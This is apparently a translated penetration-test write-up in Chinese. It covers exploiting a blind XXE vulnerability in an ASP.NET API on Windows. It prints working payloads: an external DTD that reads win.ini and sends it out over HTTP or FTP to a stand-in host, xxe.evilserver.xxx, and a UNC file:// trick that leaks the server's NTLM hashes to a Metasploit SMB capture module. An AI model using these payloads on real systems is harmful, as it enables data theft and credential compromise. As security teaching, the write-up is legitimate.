导语:我们的目标是互联网上运行在Windows服务器上的ASP.NET API。经过一些测试后,我们发现该服务容易遭受XXE攻击,原因是当使用XML外部实体提供服务时会发生DNS交互。
漏洞复现
我们的目标是互联网上运行在Windows服务器上的ASP.NET API。经过一些测试后,我们发现该服务容易遭受XXE攻击,原因是当使用XML外部实体提供服务时会发生DNS交互。
通常,利用xxe漏洞的一般套路就是读取应用服务器账户有权限读取的文件。
幸运的话,你可以使用外部实体轻易的获取文件的内容,只要你把外部实体放在服务器响应中有回显的位置。
悲催的是,在我们的测试的场景中,我们都无法从服务器响应中直接得到文件内容,因为外部实体注入导致了500错误响应码(但是实体还是被解析了)。
这种情况下,你就需要一些带外通道技术来获取文件内容了,简而言之,我们需要找到另一种方式来获取内容,因为在服务器响应中,我们无法直接看到内容。举个例子,你可以强制让后端发送文件内容到你可以控制的服务器。
不过要实现我们的目标,我们需要使用外部DTD(外部DTD是一个外部XML,你可以在其中为XML模式定义新的实体定义),因为我们的请求中需要用到参数实体(参数实体不允许在XML文档内部引用)。
我们需要把我们的DTD文档放到我们可以控制并且服务器可以读取的位置,比如互联网上的公共主机上。不过我们也不知道存在漏洞的服务器能否通过某种协议读取到我们公网主机上的文件。让我们来验证一下,使用Burp的collaborator模块(请参考超级棒的collaborator插件):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://58bjzmpi1n4usspzku5z0h4z9qfj38.burpcollaborator.net/">%xxe; ]> <xml></xml>
这个图片表明了两条重要信息:
1.可以通过HTTP端口访问外部公网服务器,因此我们可以使用外部DTD进行内容提取。
2.我们发现了SSRF漏洞(服务端请求伪造漏洞)。
接着来看看我们如何利用
首先就是把外部DTD(带参数实体)放置在互联网上,接着利用XXE漏洞通过HTTP请求来访问这个文件。
xxe.xml文件:
<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://xxe.evilserver.xxx/%payl;'>">
请求:
<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://xxe.evilserver.xxx/exfil.dtd">%xxe;%param1;%exfil; ]> <xml></xml>
非常好,我们通过GET请求从服务器获取文件到了我们的主机上。但是由于文件内容中的某些字符可能会破坏HTTP语法(并且URL有最大长度的限制),所以这种方法并不高效,并不是所有文件都能通过这种方式获取到。
一种获取文件更灵活有效的方法是利用FTP协议,当然了,只有当FTP端口的出站流量没有被内网路由过滤时才行。
验证这一点更简单的方式就是修改我们的DTD文档并且在我们的服务器上使用tcpdump过滤器,看看会发生什么
新建的exfil.dtd文件:
<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'ftp://xxe.evilserver.xxx/%payl;'>">
非常棒,FTP协议没有被出站规则过滤,不过,好像有些奇怪…
一番探索之后,我们发现,后端服务器使用我们XXE payload中的FTP或者HTTP URL模式可以访问互联网上的任意端口号。
还有一种协议几乎所有的XML处理器都支持,那就是file://,这个协议可以用来引用系统本地文件,但是它也能通过UNC路径来引用网络共享中的文件。
那么,假如我们使用file://xxe.evilserver.com/xxx.txt 这个url并且在互联网上开放一个网络共享会发生什么呢?
我们来启动渗透测试神器metasploit并利用其中的auxiliary/server/capture/sbm 模块(当然,你也可以使用Responser.py):
这个模块会模拟经过身份验证的SMB服务并且捕获尝试连接该服务的客户端发出的请求(比如NTLM哈希)。
我们的想法是强制存在漏洞的服务器连接我们恶意的SMB服务并进行身份验证,这样就能抓取到哈希值了。
修改一下我们的XXE payload为file://evilserver.net/funny.txt
成功抓取到hash值,详情请看图。